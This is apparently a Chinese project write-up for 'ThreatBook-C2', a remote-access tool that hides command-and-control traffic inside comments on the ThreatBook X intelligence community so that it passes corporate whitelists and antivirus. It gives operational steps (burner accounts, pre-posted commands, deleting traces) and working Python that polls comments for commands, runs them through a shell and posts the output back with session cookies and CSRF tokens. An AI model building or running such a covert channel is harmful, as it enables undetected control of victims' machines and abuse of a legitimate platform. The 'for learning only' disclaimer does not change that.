ThreatBook-C2

利用微步社区做天然白名单且免杀的远控C2（支持手机电脑）

郑重声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自负

前言 · 演示 · 流量分析 · 实操运用· 关键实现

---

前言

微步的X情报社区具有信息分享、传播及获取的功能，用户发表的信息是公开的信息，其他第三方均可以通过X情报社区获取用户发表的信息。在众多的攻防演练中常用于溯源，分析恶意IP，恶意附件等，殊不知也可以利用其天然白名单且免杀的优势做C2远控，防不胜防！如今许多企业网络设置了上网行为管理，网关等各种千奇百怪的安全设备，网络只对特定IP或域名设置白名单开放，然后限制一切陌生流量，这样则会导致即使对C2做了云函数，CDN，域前置，IPv6等各种技术实现了隐匿但是流动不起来，无法上线，此时则需要一个天然白名单做C2，不仅隐匿性杠杠滴，还无视各种安全设备，从而直接远控！

附上微步情报社区：https://x.threatbook.com/

演示

桌面端

移动端

流量分析

根据流量包，可以看出和C2的通讯IP为117.50.19.28是微步社区的IP，企业内为默认白名单IP，因此IP上不仅做到了隐匿也做到了与企业间可通信。流量走https加密流量，命令间存在心跳时间

实操运用

• 一个微步社区正常的账号（可以创建干净的小号，进一步增强隐匿性）

• 发布一篇微步社区文章（建议提前几天准备好，临时发布的文章曝光度高，容易被其他人看见），建议提前将命令输入评论区（命令格式是"命令+真正的命令"），避免踩空

  

• 记录下关键信息

微步社区的文章ID

微步社区的验证字段

csrfToken

rememberme

xx-csrf

将关键信息填入config.ini中

同目录下运行C2.exe（目测无视一切杀软执行命令且回显），这时候回到微步社区文章页面进行刷新，会发现命令已经回显

若需要再次执行命令只需要在评论区按格式输入命令，等待心跳时间后，即可以获取下一个命令回显（默认设置的是5s心跳时间）

结束远控后，及时保留关键信息并且将文章删除即可

关键实现

​ ​ 此基于微步社区的远控，主要实现上利用了三个核心代码，分别为获取命令、回显命令、执行命令，以下我们来逐一解析

• 获取命令

def get_comments(short_message_id):
    base_url = "https://x.threatbook.com/v5/node/user/article/queryComments?shortThreatId="+short_message_id
    try:
    	#模拟用户发包
        response = requests.get(base_url)
        # 直接使用 response.json() 获取对象
        json_object = response.json()
        # 定义一个评论列表
        comments_list = json_object["data"]["list"]
        # 提取第一个 comments 对应的值
        first_comment = comments_list[0]["comments"]
        # 返回第一个 comments 对应的值
        return first_comment
        # 错误性判断
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

• 回显命令

def send_comment(comment, short_message_id, csrf_token, rememberme, xx_csrf):
    url = "https://x.threatbook.com/v5/node/user/article/saveComment"
	#请求头
    headers = {
        "Host": "x.threatbook.com",
        "Cookie": f"csrfToken={csrf_token}; rememberme={rememberme}; xx-csrf={xx_csrf}",
        "Content-Type": "application/json",
        "X-Csrf-Token": csrf_token,
        "Xx-Csrf": xx_csrf,
        "Sec-Ch-Ua-Mobile": "?0",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36"
    }
	#请求体
    data = {
        "comment": comment,
        "isAnonymous": "False",
        "targetId": "0",
        "shortMeaasgeId": short_message_id
    }
	#回显命令
    try:
        response = requests.post(url, json=data, headers=headers)
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")

• 执行命令

  def command(cmd):
	#Popen()函数使用shell执行命令，stdout和stderr是子进程的标准输出和标准错误输出
    process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
    #启动并等待子进程完成，通过stdout和stderr读取子进程的输出
    stdout, stderr = process.communicate()
    #返回标准输出并解码为gbk编码的字符串
    return stdout.decode('gbk')